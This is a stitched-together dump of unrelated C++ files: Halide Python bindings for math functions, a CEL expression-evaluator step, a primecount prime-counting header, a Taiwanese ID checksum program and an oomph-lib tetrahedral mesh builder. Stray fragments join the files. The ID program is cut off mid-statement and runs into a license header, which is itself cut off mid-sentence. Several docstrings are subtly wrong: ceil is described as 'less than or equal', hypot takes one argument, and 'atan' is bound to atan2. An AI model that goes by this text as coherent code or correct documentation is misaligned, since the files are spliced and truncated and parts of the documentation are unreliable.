py::def("sin", &sin, py::args("x"), "Return the sine of a floating-point expression. If the argument is " "not floating-point, it is cast to Float(32). Does not vectorize well."); py::def("asin", &asin, py::args("x"), "Return the arcsine of a floating-point expression. If the argument is " "not floating-point, it is cast to Float(32). Does not vectorize well."); py::def("cos", &cos, py::args("x"), "Return the cosine of a floating-point expression. If the argument is " "not floating-point, it is cast to Float(32). Does not vectorize well."); py::def("acos", &acos, py::args("x"), "Return the arccosine of a floating-point expression. If the argument is " "not floating-point, it is cast to Float(32). Does not vectorize well."); py::def("tan", &tan, py::args("x"), "Return the tangent of a floating-point expression. If the argument is " "not floating-point, it is cast to Float(32). Does not vectorize well."); py::def("atan", &atan, py::args("x"), "Return the arctangent of a floating-point expression. If the argument is " "not floating-point, it is cast to Float(32). Does not vectorize well."); py::def("atan", &atan2, py::args("x", "y"), "Return the arctangent of a floating-point expression. If the argument is " "not floating-point, it is cast to Float(32). Does not vectorize well."); py::def("atan2", &atan2, py::args("x", "y"), "Return the arctangent of a floating-point expression. If the argument is " "not floating-point, it is cast to Float(32). Does not vectorize well."); // @} // sinh, cosh, tanh @{ py::def("sinh", &sinh, py::args("x"), "Return the hyperbolic sine of a floating-point expression. If the argument is " "not floating-point, it is cast to Float(32). Does not vectorize well."); py::def("asinh", &asinh, py::args("x"), "Return the hyperbolic arcsine of a floating-point expression. If the argument is " "not floating-point, it is cast to Float(32). Does not vectorize well."); py::def("cosh", &cosh, py::args("x"), "Return the hyperbolic cosine of a floating-point expression. If the argument is " "not floating-point, it is cast to Float(32). Does not vectorize well."); py::def("acosh", &acosh, py::args("x"), "Return the hyperbolic arccosine of a floating-point expression. If the argument is " "not floating-point, it is cast to Float(32). Does not vectorize well."); py::def("tanh", &tanh, py::args("x"), "Return the hyperbolic tangent of a floating-point expression. If the argument is " "not floating-point, it is cast to Float(32). Does not vectorize well."); py::def("atanh", &atanh, py::args("x"), "Return the hyperbolic arctangent of a floating-point expression. If the argument is " "not floating-point, it is cast to Float(32). Does not vectorize well."); // @} py::def("sqrt", &sqrt, py::args("x"), "Return the square root of a floating-point expression. " "If the argument is not floating-point, it is cast to Float(32). " "Typically vectorizes cleanly."); py::def("hypot", &hypot, py::args("x"), "Return the square root of the sum of the squares of two " "floating-point expressions. " "If the argument is not floating-point, it is cast to Float(32). " "Vectorizes cleanly."); py::def("exp", &exp, py::args("x"), "Return the exponential of a floating-point expression. If the " "argument is not floating-point, it is cast to Float(32). For " "Float(64) arguments, this calls the system exp function, and does " "not vectorize well. For Float(32) arguments, this function is " "vectorizable, does the right thing for extremely small or extremely " "large inputs, and is accurate up to the last bit of the " "mantissa. Vectorizes cleanly."); py::def("log", &log, py::args("x"), "Return the logarithm of a floating-point expression. If the " "argument is not floating-point, it is cast to Float(32). For " "Float(64) arguments, this calls the system log function, and does " "not vectorize well. For Float(32) arguments, this function is " "vectorizable, does the right thing for inputs <= 0 (returns -inf or " "nan), and is accurate up to the last bit of the " "mantissa. Vectorizes cleanly."); py::def("pow", &pow, py::args("x"), "Return one floating point expression raised to the power of " "another. The type of the result is given by the type of the first " "argument. If the first argument is not a floating-point type, it is " "cast to Float(32). For Float(32), cleanly vectorizable, and " "accurate up to the last few bits of the mantissa. Gets worse when " "approaching overflow. Vectorizes cleanly."); py::def("erf", &erf, py::args("x"), "Evaluate the error function erf. Only available for " "Float(32). Accurate up to the last three bits of the " "mantissa. Vectorizes cleanly."); py::def("fast_log", &fast_log, py::args("x"), "Fast approximate cleanly vectorizable log for Float(32). Returns " "nonsense for x <= 0.0f. Accurate up to the last 5 bits of the " "mantissa. Vectorizes cleanly."); py::def("fast_exp", &fast_exp, py::args("x"), "Fast approximate cleanly vectorizable exp for Float(32). Returns " "nonsense for inputs that would overflow or underflow. Typically " "accurate up to the last 5 bits of the mantissa. Gets worse when " "approaching overflow. Vectorizes cleanly."); py::def("fast_pow", &fast_pow, py::args("x"), "Fast approximate cleanly vectorizable pow for Float(32). Returns " "nonsense for x < 0.0f. Accurate up to the last 5 bits of the " "mantissa for typical exponents. Gets worse when approaching " "overflow. Vectorizes cleanly."); py::def("fast_inverse", &fast_inverse, py::args("x"), "Fast approximate inverse for Float(32). Corresponds to the rcpps " "instruction on x86, and the vrecpe instruction on ARM. " "Vectorizes cleanly."); py::def("fast_inverse_sqrt", &fast_inverse_sqrt, py::args("x"), "Fast approximate inverse square root for Float(32). Corresponds to " "the rsqrtps instruction on x86, and the vrsqrte instruction on " "ARM. Vectorizes cleanly."); py::def("floor", &floor, py::args("x"), "Return the greatest whole number less than or equal to a floating-point expression. " "If the argument is not floating-point, it is cast to Float(32). " "The return value is still in floating point, despite being a whole number. " "Vectorizes cleanly"); py::def("ceil", &ceil, py::args("x"), "Return the least whole number less than or equal to a floating-point expression. " "If the argument is not floating-point, it is cast to Float(32). " "The return value is still in floating point, despite being a whole number. " "Vectorizes cleanly"); py::def("round", &round, py::args("x"), "Return the whole number closest to a floating-point expression. " "If the argument is not floating-point, it is cast to Float(32). " "The return value is still in floating point, despite being a whole number. " "Vectorizes cleanly"); py::def("trunc", &trunc, py::args("x"), "Return the integer part of a floating-point expression. " "If the argument is not floating-point, it is cast to Float(32). " "The return value is still in floating point, despite being a whole number. " "Vectorizes cleanly"); py::def("fract", &fract, py::args("x"), "Return the fractional part of a floating-point expression. " "If the argument is not floating-point, it is cast to Float(32). " "The return value is in floating point, even when it is a whole number. " "Vectorizes cleanly"); py::def("is_nan", &is_nan, py::args("x"), "Returns true if the argument is a Not a Number (NaN). " "Requires a floating point argument. Vectorizes cleanly."); py::def("reinterpret", &reinterpret0, py::args("t, e"), "Reinterpret the bits of one value as another type."); py::def("cast", &cast0, py::args("t", "e"), "Cast an expression to a new type."); def_raw("print_when", print_when, 2, "Create an Expr that prints whenever it is evaluated, " "provided that the condition is true."); def_raw("print", print, 1, "Create an Expr that prints out its value whenever it is " "evaluated. It also prints out everything else in the arguments " "list, separated by spaces. This can include string literals."); py::def("lerp", &lerp, py::args("zero_val", "one_val", "weight"), "Linear interpolate between the two values according to a weight.\n" "\\param zero_val The result when weight is 0\n" "\\param one_val The result when weight is 1\n" "\\param weight The interpolation amount\n\n" "Both zero_val and one_val must have the same type. All types are " "supported, including bool.\n" "The weight is treated as its own type and must be float or an " "unsigned integer type. It is scaled to the bit-size of the type of " "x and y if they are integer, or converted to float if they are " "float. Integer weights are converted to float via division by the " "full-range value of the weight's type. Floating-point weights used " "to interpolate between integer values must be between 0.0f and " "1.0f, and an error may be signaled if it is not provably so. (clamp " "operators can be added to provide proof. Currently an error is only " "signalled for constant weights.)\n" "For integer linear interpolation, out of range values cannot be " "represented. In particular, weights that are conceptually less than " "0 or greater than 1.0 are not representable. As such the result is " "always between x and y (inclusive of course). For lerp with " "floating-point values and floating-point weight, the full range of " "a float is valid, however underflow and overflow can still occur.\n" "Ordering is not required between zero_val and one_val:\n" " lerp(42, 69, .5f) == lerp(69, 42, .5f) == 56\n\n" "Results for integer types are for exactly rounded arithmetic. As " "such, there are cases where 16-bit and float differ because 32-bit " "floating-point (float) does not have enough precision to produce " "the exact result. (Likely true for 32-bit integer " "vs. double-precision floating-point as well.)\n" "At present, double precision and 64-bit integers are not supported.\n" "Generally, lerp will vectorize as if it were an operation on a type " "twice the bit size of the inferred type for x and y. "); py::def("popcount", &popcount, py::args("x"), "Count the number of set bits in an expression."); py::def("count_leading_zeros", &count_leading_zeros, py::args("x"), "Count the number of leading zero bits in an expression. The result is " "undefined if the value of the expression is zero."); py::def("count_trailing_zeros", &count_trailing_zeros, py::args("x"), "Count the number of trailing zero bits in an expression. The result is " "undefined if the value of the expression is zero."); py::def("random_float", &random_float1, py::args("seed"), "Return a random variable representing a uniformly distributed " "float in the half-open interval [0.0f, 1.0f). For random numbers of " "other types, use lerp with a random float as the last parameter.\n" "Optionally takes a seed.\n" "Note that:\n" "\\code\n" "Expr x = random_float();\n" "Expr y = x + x;\n" "\\endcode\n\n" "is very different to\n" "\\code\n" "Expr y = random_float() + random_float();\n" "\\endcode\n\n" "The first doubles a random variable, and the second adds two " "independent random variables.\n" "A given random variable takes on a unique value that depends " "deterministically on the pure variables of the function they belong " "to, the identity of the function itself, and which definition of " "the function it is used in. They are, however, shared across tuple " "elements.\n" "This function vectorizes cleanly."); py::def("random_float", &random_float0); // no args py::def("random_int", &random_int1, py::args("seed"), "Return a random variable representing a uniformly distributed " "32-bit integer. See \\ref random_float. Vectorizes cleanly."); py::def("random_int", &random_int0); // no args py::def("undef", &undef0, py::args("type"), "Return an undef value of the given type. Halide skips stores that " "depend on undef values, so you can use this to mean \"do not modify " "this memory location\". This is an escape hatch that can be used for " "several things:\n" "You can define a reduction with no pure step, by setting the pure " "step to undef. Do this only if you're confident that the update " "steps are sufficient to correctly fill in the domain.\n" "For a tuple-valued reduction, you can write an update step that " "only updates some tuple elements.\n" "You can define single-stage pipeline that only has update steps," "and depends on the values already in the output buffer.\n" "Use this feature with great caution, as you can use it to load from " "uninitialized memory.\n"); py::def("memoize_tag", &memoize_tag0, py::args("result", "cache_key_values"), "Control the values used in the memoization cache key for memoize. " "Normally parameters and other external dependencies are " "automatically inferred and added to the cache key. The memoize_tag " "operator allows computing one expression and using either the " "computed value, or one or more other expressions in the cache key " "instead of the parameter dependencies of the computation. The " "single argument version is completely safe in that the cache key " "will use the actual computed value -- it is difficult or imposible " "to produce erroneous caching this way. The more-than-one argument " "version allows generating cache keys that do not uniquely identify " "the computation and thus can result in caching errors.n" "A potential use for the single argument version is to handle a " "floating-point parameter that is quantized to a small " "integer. Mutliple values of the float will produce the same integer " "and moving the caching to using the integer for the key is more " "efficient.\n" "The main use for the more-than-one argument version is to provide " "cache key information for Handles and ImageParams, which otherwise " "are not allowed inside compute_cached operations. E.g. when passing " "a group of parameters to an external array function via a Handle, " "memoize_tag can be used to isolate the actual values used by that " "computation. If an ImageParam is a constant image with a persistent " "digest, memoize_tag can be used to key computations using that image " "on the digest."); //Expr memoize_tag(Expr result, const std::vector &cache_key_values); //template //Expr memoize_tag(Expr result, Args... args) py::def("likely", &likely, py::args("e"), "Expressions tagged with this intrinsic are considered to be part " "of the steady state of some loop with a nasty beginning and end " "(e.g. a boundary condition). When Halide encounters likely " "intrinsics, it splits the containing loop body into three, and " "tries to simplify down all conditions that lead to the likely. For " "example, given the expression: select(x < 1, bar, x > 10, bar, " "likely(foo)), Halide will split the loop over x into portions where " "x < 1, 1 <= x <= 10, and x > 10.\n" "You're unlikely to want to call this directly. You probably want to " "use the boundary condition helpers in the BoundaryConditions " "namespace instead. "); } } // namespace PythonBindings } // namespace Halide 0 // stack.hpp #pragma once #include "../linked-list/linked-list.hpp" class Stack : protected LinkedList { public: void push(int); int pop(void); int peek(void); }; #include "eval/eval/function_step.h" #include #include #include #include #include "absl/strings/str_cat.h" #include "eval/eval/evaluator_core.h" #include "eval/eval/expression_step_base.h" #include "eval/public/cel_function_provider.h" #include "eval/public/cel_function_registry.h" namespace google { namespace api { namespace expr { namespace runtime { namespace { // Implementation of ExpressionStep that finds suitable CelFunction overload and // invokes it. Abstract base class standardizes behavior between lazy and eager // function bindings. Derived classes provide ResolveFunction behavior. class AbstractFunctionStep : public ExpressionStepBase { public: // Constructs FunctionStep that uses overloads specified. AbstractFunctionStep(size_t num_arguments, int64_t expr_id) : ExpressionStepBase(expr_id), num_arguments_(num_arguments) {} cel_base::Status Evaluate(ExecutionFrame* frame) const override; virtual cel_base::StatusOr ResolveFunction( absl::Span args, const ExecutionFrame* frame) const = 0; protected: size_t num_arguments_; }; cel_base::Status AbstractFunctionStep::Evaluate(ExecutionFrame* frame) const { if (!frame->value_stack().HasEnough(num_arguments_)) { return cel_base::Status(cel_base::StatusCode::kInternal, "Value stack underflow"); } // Create Span object that contains input arguments to the function. auto input_args = frame->value_stack().GetSpan(num_arguments_); // Derived class resolves to a single function overload or none. auto status = ResolveFunction(input_args, frame); if (!status.ok()) { return status.status(); } const CelFunction* matched_function = status.ValueOrDie(); CelValue result = CelValue::CreateNull(); // Overload found if (matched_function != nullptr) { cel_base::Status status = matched_function->Evaluate(input_args, &result, frame->arena()); if (!status.ok()) { return status; } } else { // No matching overloads. // We should not treat absense of overloads as non-recoverable error. // Such absence can be caused by presence of CelError in arguments. // To enable behavior of functions that accept CelError( &&, || ), CelErrors // should be propagated along execution path. for (const CelValue& arg : input_args) { if (arg.IsError()) { result = arg; break; } } // If no errors in input args, create new CelError. if (!result.IsError()) { result = CreateNoMatchingOverloadError(frame->arena()); } } frame->value_stack().Pop(input_args.length()); frame->value_stack().Push(result); return cel_base::OkStatus(); } class EagerFunctionStep : public AbstractFunctionStep { public: EagerFunctionStep(std::vector&& overloads, size_t num_args, int64_t expr_id) : AbstractFunctionStep(num_args, expr_id), overloads_(overloads) {} cel_base::StatusOr ResolveFunction( absl::Span input_args, const ExecutionFrame* frame) const override; private: std::vector overloads_; }; cel_base::StatusOr EagerFunctionStep::ResolveFunction( absl::Span input_args, const ExecutionFrame* frame) const { const CelFunction* matched_function = nullptr; for (auto overload : overloads_) { if (overload->MatchArguments(input_args)) { // More than one overload matches our arguments. if (matched_function != nullptr) { return cel_base::Status(cel_base::StatusCode::kInternal, "Cannot resolve overloads"); } matched_function = overload; } } return matched_function; } class LazyFunctionStep : public AbstractFunctionStep { public: // Constructs LazyFunctionStep that attempts to lookup function implementation // at runtime. LazyFunctionStep(const std::string& name, size_t num_args, bool receiver_style, const std::vector& providers, int64_t expr_id) : AbstractFunctionStep(num_args, expr_id), name_(name), receiver_style_(receiver_style), providers_(providers) {} cel_base::StatusOr ResolveFunction( absl::Span input_args, const ExecutionFrame* frame) const override; private: std::string name_; bool receiver_style_; std::vector providers_; }; cel_base::StatusOr LazyFunctionStep::ResolveFunction( absl::Span input_args, const ExecutionFrame* frame) const { const CelFunction* matched_function = nullptr; std::vector arg_types(num_arguments_); std::transform(input_args.begin(), input_args.end(), arg_types.begin(), [](const CelValue& value) { return value.type(); }); CelFunctionDescriptor matcher{name_, receiver_style_, arg_types}; const BaseActivation& activation = frame->activation(); for (auto provider : providers_) { auto status = provider->GetFunction(matcher, activation); if (!status.ok()) { return status; } auto overload = status.ValueOrDie(); if (overload != nullptr && overload->MatchArguments(input_args)) { // More than one overload matches our arguments. if (matched_function != nullptr) { return cel_base::Status(cel_base::StatusCode::kInternal, "Cannot resolve overloads"); } matched_function = overload; } } return matched_function; } } // namespace cel_base::StatusOr> CreateFunctionStep( const google::api::expr::v1alpha1::Expr::Call* call_expr, int64_t expr_id, const CelFunctionRegistry& function_registry) { bool receiver_style = call_expr->has_target(); size_t num_args = call_expr->args_size() + (receiver_style ? 1 : 0); const std::string& name = call_expr->function(); std::vector args(num_args, CelValue::Type::kAny); std::vector lazy_overloads = function_registry.FindLazyOverloads(name, receiver_style, args); if (!lazy_overloads.empty()) { std::unique_ptr step = absl::make_unique( name, num_args, receiver_style, lazy_overloads, expr_id); return std::move(step); } auto overloads = function_registry.FindOverloads(name, receiver_style, args); if (!overloads.empty()) { std::unique_ptr step = absl::make_unique( std::move(overloads), num_args, expr_id); return std::move(step); } // No overloads found. return ::cel_base::Status(cel_base::StatusCode::kInvalidArgument, "No overloads provided for FunctionStep creation"); } } // namespace runtime } // namespace expr } // namespace api } // namespace google 100-1000 /// /// @file PhiTiny.hpp /// @brief phi_tiny(x, a) counts the numbers <= x that are not /// divisible by any of the first a primes. phi_tiny(x, a) /// computes phi(x, a) in constant time for a <= 8 using /// lookup tables and the formula below. /// /// phi(x, a) = (x / pp) * φ(pp) + phi(x % pp, a) /// with pp = 2 * 3 * ... * prime[a] /// φ(pp) = \prod_{i=1}^{a} (prime[i] - 1) /// /// Copyright (C) 2021 , <> /// /// This file is distributed under the BSD License. See the COPYING /// file in the top level directory. /// #ifndef PHITINY_HPP #define PHITINY_HPP #include #include #include #include #include #include #include #include #include #include namespace primecount { class PhiTiny : public BitSieve240 { public: PhiTiny(); /// Uses at most one level of phi(x, a) recursion /// to ensure that the runtime is O(1). template T phi_recursive(T x, uint64_t a) const { // Unsigned integer division is usually // faster than signed integer division, // especially for int128_t. using UT = typename std::make_unsigned::type; if (a < max_a()) return phi((UT) x, a); else { assert(a == 8); // This code path will be executed most of the time. // In phi7(x) the variable a has been hardcoded to 7 // which makes it run slightly faster than phi(x, a). // phi(x, 8) = phi(x, 7) - phi(x / prime[8], 7) return phi7((UT) x) - phi7((UT) x / 19); } } template T phi(T x, uint64_t a) const { assert(a < prime_products.size()); auto pp = prime_products[a]; auto remainder = (uint64_t)(x % pp); T xpp = x / pp; T sum = xpp * totients[a]; // For prime[a] <= 5 our phi(x % pp, a) lookup table // is a simple two dimensional array. if (a < phi_.size()) sum += phi_[a][remainder]; else { // For prime[a] > 5 we use a compressed phi(x % pp, a) // lookup table. Each bit of the sieve array corresponds // to an integer that is not divisible by 2, 3 and 5. // Hence the 8 bits of each byte correspond to the offsets // [ 1, 7, 11, 13, 17, 19, 23, 29 ]. assert(a < sieve_.size()); assert(remainder / 240 < sieve_[a].size()); uint64_t count = sieve_[a][remainder / 240].count; uint64_t bits = sieve_[a][remainder / 240].bits; uint64_t bitmask = unset_larger_[remainder % 240]; sum += (T)(count + popcnt64(bits & bitmask)); } return sum; } /// In phi7(x) the variable a has been hardcoded to 7. /// phi7(x) uses division by a constant instead of regular /// integer division and hence phi7(x) is expected to run /// faster than the phi(x, a) implementation above. /// template T phi7(T x) const { constexpr uint32_t a = 7; constexpr uint32_t pp = 510510; constexpr uint32_t totient = 92160; auto remainder = (uint64_t)(x % pp); T xpp = x / pp; T sum = xpp * totient; // For prime[a] > 5 we use a compressed phi(x % pp, a) // lookup table. Each bit of the sieve array corresponds // to an integer that is not divisible by 2, 3 and 5. // Hence the 8 bits of each byte correspond to the offsets // [ 1, 7, 11, 13, 17, 19, 23, 29 ]. assert(sieve_.size() - 1 == a); assert(remainder / 240 < sieve_[a].size()); uint64_t count = sieve_[a][remainder / 240].count; uint64_t bits = sieve_[a][remainder / 240].bits; uint64_t bitmask = unset_larger_[remainder % 240]; sum += (T)(count + popcnt64(bits & bitmask)); return sum; } static uint64_t get_c(uint64_t y) { if (y < pi.size()) return pi[y]; else return max_a(); } /// In Xavier Gourdon's algorithm the small /// constant is named k instead of c. /// k <= PrimePi[min(x_star, sqrt(x / y))] /// template static uint64_t get_k(T x) { return get_c(iroot<4>(x)); } static constexpr uint64_t max_a() { return primes.size(); } private: static const std::array primes; static const std::array prime_products; static const std::array totients; static const std::array pi; /// Packing sieve_t increases the cache's capacity by 25% /// which improves performance by up to 10%. #pragma pack(push, 1) struct sieve_t { uint32_t count = 0; uint64_t bits = ~0ull; }; #pragma pack(pop) /// sieve[a] contains only numbers that are not divisible /// by any of the the first a primes. sieve[a][i].count /// contains the count of numbers < i * 240 that are not /// divisible by any of the first a primes. std::array, 8> sieve_; std::array, 4> phi_; }; extern const PhiTiny phiTiny; inline bool is_phi_tiny(uint64_t a) { return a <= PhiTiny::max_a(); } template typename std::enable_if<(sizeof(T) == sizeof(typename make_smaller::type)), T>::type phi_tiny(T x, uint64_t a) { return phiTiny.phi_recursive(x, a); } template typename std::enable_if<(sizeof(T) > sizeof(typename make_smaller::type)), T>::type phi_tiny(T x, uint64_t a) { using smaller_t = typename make_smaller::type; // If possible use smaller integer type // to speed up integer division. if (x <= std::numeric_limits::max()) return phiTiny.phi_recursive((smaller_t) x, a); else return phiTiny.phi_recursive(x, a); } } // namespace #endif #include using namespace std; // 身分證驗證 int main(){ int i=0, n=0; string str; while(cin >> str){ int numL = 10, x1=0, x2=0; switch(str[0]) { case 'A': numL = 10; break; case 'B': numL = 11; break; case 'C': numL = 12; break; case 'D': numL = 13; break; case 'E': numL = 14; break; case 'F': numL = 15; break; case 'G': numL = 16; break; case 'H': numL = 17; break; case 'I': numL = 34; break; case 'J': numL = 18; break; case 'K': numL = 19; break; case 'L': numL = 20; break; case 'M': numL = 21; break; case 'N': numL = 22; break; case 'O': numL = 35; break; case 'P': numL = 23; break; case 'Q': numL = 24; break; case 'R': numL = 25; break; case 'S': numL = 26; break; case 'T': numL = 27; break; case 'U': numL = 28; break; case 'V': numL = 29; break; case 'W': numL = 32; break; case 'X': numL =30 ; break; case 'Y': numL = 31; break; case 'Z': numL = 33; break; default: break; } x1 = numL / 10; // 十位數 x2 = numL - 10*x1; // 個位數 int p=0; p = x1 + (9*x2) + (8*(str[1]-48)) + (7*(str[2]-48)) + (6*(str[3]-48)) + (5*(str[4]-48)) + (4*(str[5]-48)) + (3*(str[6]-48)) + (2*(str[7]-48)) + (str[8]-48) + (str[9]-48); if(p % 10 == 0) cout<< "CORRECT!!!" < and // LIC// // LIC// This library is free software; you can redistribute it and/or // LIC// modify it under the terms of the GNU Lesser General Public // LIC// License as published by the Free Software Foundation; either // LIC// version 2.1 of the License, or (at your option) any later version. // LIC// // LIC// This library is distributed in the hope that it will be useful, // LIC// but WITHOUT ANY WARRANTY; without even the implied warranty of // LIC// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU // LIC// Lesser General Public License for more details. // LIC// // LIC// You should have received a copy of the GNU Lesser General Public // LIC// License along with this library; if not, write to the Free Software // LIC// Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA // LIC// 02110-1301 USA. // LIC// // LIC// The authors may be contacted at . // LIC// // LIC//==================================================================== #ifndef OOMPH_SIMPLE_CUBIC_TET_MESH_TEMPLATE_CC #define OOMPH_SIMPLE_CUBIC_TET_MESH_TEMPLATE_CC #include // Simple 3D tetrahedral mesh class #include "simple_cubic_tet_mesh.template.h" #include "../generic/map_matrix.h" #include namespace oomph { //==================================================================== /// Simple tetrahedral mesh - with 24 tet elements constructed within a /// "brick" form for each element block. //==================================================================== template void SimpleCubicTetMesh::build_from_scaffold( TimeStepper* time_stepper_pt) { // Mesh can only be built with 3D Telements. MeshChecker::assert_geometric_element(3); // Create space for elements unsigned nelem = Tmp_mesh_pt->nelement(); Element_pt.resize(nelem); // Create space for nodes unsigned nnode_scaffold = Tmp_mesh_pt->nnode(); Node_pt.resize(nnode_scaffold); // Set number of boundaries unsigned nbound = Tmp_mesh_pt->nboundary(); set_nboundary(nbound); // Loop over elements in scaffold mesh, visit their nodes for (unsigned e = 0; e < nelem; e++) { Element_pt[e] = new ELEMENT; } // In the first instance build all nodes from within all the elements unsigned nnod_el = Tmp_mesh_pt->finite_element_pt(0)->nnode(); // Loop over elements in scaffold mesh, visit their nodes for (unsigned e = 0; e < nelem; e++) { // Loop over all nodes in element for (unsigned j = 0; j < nnod_el; j++) { // Create new node, using the NEW element's construct_node // member function finite_element_pt(e)->construct_node(j, time_stepper_pt); } } // Setup map to check the (pseudo-)global node number // Nodes whose number is zero haven't been copied across // into the mesh yet. std::map global_number; unsigned global_count = 0; // Loop over elements in scaffold mesh, visit their nodes for (unsigned e = 0; e < nelem; e++) { // Loop over all nodes in element for (unsigned j = 0; j < nnod_el; j++) { // Pointer to node in the scaffold mesh Node* scaffold_node_pt = Tmp_mesh_pt->finite_element_pt(e)->node_pt(j); // Get the (pseudo-)global node number in scaffold mesh // (It's zero [=default] if not visited this one yet) unsigned j_global = global_number[scaffold_node_pt]; // Haven't done this one yet if (j_global == 0) { // Give it a number (not necessarily the global node // number in the scaffold mesh -- we just need something // to keep track...) global_count++; global_number[scaffold_node_pt] = global_count; // Copy new node, created using the NEW element's construct_node // function into global storage, using the same global // node number that we've just associated with the // corresponding node in the scaffold mesh Node_pt[global_count - 1] = finite_element_pt(e)->node_pt(j); // Assign coordinates Node_pt[global_count - 1]->x(0) = scaffold_node_pt->x(0); Node_pt[global_count - 1]->x(1) = scaffold_node_pt->x(1); Node_pt[global_count - 1]->x(2) = scaffold_node_pt->x(2); // Get pointer to set of mesh boundaries that this // scaffold node occupies; NULL if the node is not on any boundary std::set* boundaries_pt; scaffold_node_pt->get_boundaries_pt(boundaries_pt); // Loop over the mesh boundaries that the node in the scaffold mesh // occupies and assign new node to the same ones. if (boundaries_pt != 0) { this->convert_to_boundary_node(Node_pt[global_count - 1]); for (std::set::iterator it = boundaries_pt->begin(); it != boundaries_pt->end(); ++it) { add_boundary_node(*it, Node_pt[global_count - 1]); } } } // This one has already been done: Kill it else { // Kill it delete finite_element_pt(e)->node_pt(j); // Overwrite the element's pointer to local node by // pointer to the already existing node -- identified by // the number kept in the map finite_element_pt(e)->node_pt(j) = Node_pt[j_global - 1]; } } } // At this point we've created all the elements and // created their vertex nodes. Now we need to create // the additional (midside and internal) nodes! // We'll first create all local nodes for all elements // and then delete the superfluous ones that have // a matching node in an adjacent element. // Get number of nodes along element edge and dimension of element (3) // from first element unsigned nnode_1d = finite_element_pt(0)->nnode_1d(); // At the moment we're only able to deal with nnode_1d=2 or 3. if ((nnode_1d != 2) && (nnode_1d != 3)) { std::ostringstream error_message; error_message << "Mesh generation currently only works\n"; error_message << "for nnode_1d = 2 or 3. You're trying to use it\n"; error_message << "for nnode_1d=" << nnode_1d << std::endl; throw OomphLibError( error_message.str(), OOMPH_CURRENT_FUNCTION, OOMPH_EXCEPTION_LOCATION); } // Spatial dimension of element = number of local coordinates unsigned dim = finite_element_pt(0)->dim(); // Storage for the local coordinate of the new node Vector s(dim); // Get number of nodes in the element from first element unsigned nnode = finite_element_pt(0)->nnode(); // Loop over all elements for (unsigned e = 0; e < nelem; e++) { // Loop over the new nodes in the element and create them. for (unsigned j = 4; j < nnode; j++) { // Create new node Node* new_node_pt = finite_element_pt(e)->construct_node(j, time_stepper_pt); // What are the node's local coordinates? finite_element_pt(e)->local_coordinate_of_node(j, s); // Find the coordinates of the new node from the existing // and fully-functional element in the scaffold mesh for (unsigned i = 0; i < dim; i++) { new_node_pt->x(i) = Tmp_mesh_pt->finite_element_pt(e)->interpolated_x(s, i); } } // end of loop over new nodes } // end of loop over elements // Bracket this away so the edge map goes out of scope // when we're done { // Storage for pointer to mid-edge node MapMatrix central_edge_node_pt; Node* edge_node1_pt = 0; Node* edge_node2_pt = 0; // Loop over elements for (unsigned e = 0; e < nelem; e++) { // Loop over new local nodes for (unsigned j = 4; j < nnode; j++) { // Pointer to the element's local node Node* node_pt = finite_element_pt(e)->node_pt(j); // By default, we assume the node is not new bool is_new = false; // This will have to be changed for higher-order elements //======================================================= // Switch on local node number (all located on edges) switch (j) { // Node 4 is located between nodes 0 and 1 case 4: edge_node1_pt = finite_element_pt(e)->node_pt(0); edge_node2_pt = finite_element_pt(e)->node_pt(1); if (central_edge_node_pt(edge_node1_pt, edge_node2_pt) == 0) { is_new = true; central_edge_node_pt(edge_node1_pt, edge_node2_pt) = node_pt; central_edge_node_pt(edge_node2_pt, edge_node1_pt) = node_pt; } break; // Node 5 is located between nodes 0 and 2 case 5: edge_node1_pt = finite_element_pt(e)->node_pt(0); edge_node2_pt = finite_element_pt(e)->node_pt(2); if (central_edge_node_pt(edge_node1_pt, edge_node2_pt) == 0) { is_new = true; central_edge_node_pt(edge_node1_pt, edge_node2_pt) = node_pt; central_edge_node_pt(edge_node2_pt, edge_node1_pt) = node_pt; } break; // Node 6 is located between nodes 0 and 3 case 6: edge_node1_pt = finite_element_pt(e)->node_pt(0); edge_node2_pt = finite_element_pt(e)->node_pt(3); if (central_edge_node_pt(edge_node1_pt, edge_node2_pt) == 0) { is_new = true; central_edge_node_pt(edge_node1_pt, edge_node2_pt) = node_pt; central_edge_node_pt(edge_node2_pt, edge_node1_pt) = node_pt; } break; // Node 7 is located between nodes 1 and 2 case 7: edge_node1_pt = finite_element_pt(e)->node_pt(1); edge_node2_pt = finite_element_pt(e)->node_pt(2); if (central_edge_node_pt(edge_node1_pt, edge_node2_pt) == 0) { is_new = true; central_edge_node_pt(edge_node1_pt, edge_node2_pt) = node_pt; central_edge_node_pt(edge_node2_pt, edge_node1_pt) = node_pt; } break; // Node 8 is located between nodes 2 and 3 case 8: edge_node1_pt = finite_element_pt(e)->node_pt(2); edge_node2_pt = finite_element_pt(e)->node_pt(3); if (central_edge_node_pt(edge_node1_pt, edge_node2_pt) == 0) { is_new = true; central_edge_node_pt(edge_node1_pt, edge_node2_pt) = node_pt; central_edge_node_pt(edge_node2_pt, edge_node1_pt) = node_pt; } break; // Node 9 is located between nodes 1 and 3 case 9: edge_node1_pt = finite_element_pt(e)->node_pt(1); edge_node2_pt = finite_element_pt(e)->node_pt(3); if (central_edge_node_pt(edge_node1_pt, edge_node2_pt) == 0) { is_new = true; central_edge_node_pt(edge_node1_pt, edge_node2_pt) = node_pt; central_edge_node_pt(edge_node2_pt, edge_node1_pt) = node_pt; } break; default: throw OomphLibError("More than ten nodes in Tet Element", OOMPH_CURRENT_FUNCTION, OOMPH_EXCEPTION_LOCATION); } if (is_new) { // New node: Add it to mesh Node_pt.push_back(node_pt); } else { // Delete local node in element... delete finite_element_pt(e)->node_pt(j); // ... and reset pointer to the existing node finite_element_pt(e)->node_pt(j) = central_edge_node_pt(edge_node1_pt, edge_node2_pt); } } } } // Boundary conditions // Matrix map to check if a node has already been added to // the boundary number b (NOTE: Enumerated by pointer to ORIGINAL // node before transfer to boundary node) MapMatrixMixed bound_node_done; // Create lookup scheme for pointers to original local nodes // in elements Vector> orig_node_pt(nelem); // Loop over elements for (unsigned e = 0; e < nelem; e++) { orig_node_pt[e].resize(nnode, 0); // Loop over new local nodes for (unsigned j = 4; j < nnode; j++) { // Pointer to the element's local node orig_node_pt[e][j] = finite_element_pt(e)->node_pt(j); } } // Loop over elements for (unsigned e = 0; e < nelem; e++) { // Loop over new local nodes for (unsigned j = 4; j < nnode; j++) { // Loop over the boundaries for (unsigned bo = 0; bo < nbound; bo++) { // Pointer to the element's local node Node* loc_node_pt = finite_element_pt(e)->node_pt(j); // Pointer to original node Node* orig_loc_node_pt = orig_node_pt[e][j]; // value of the 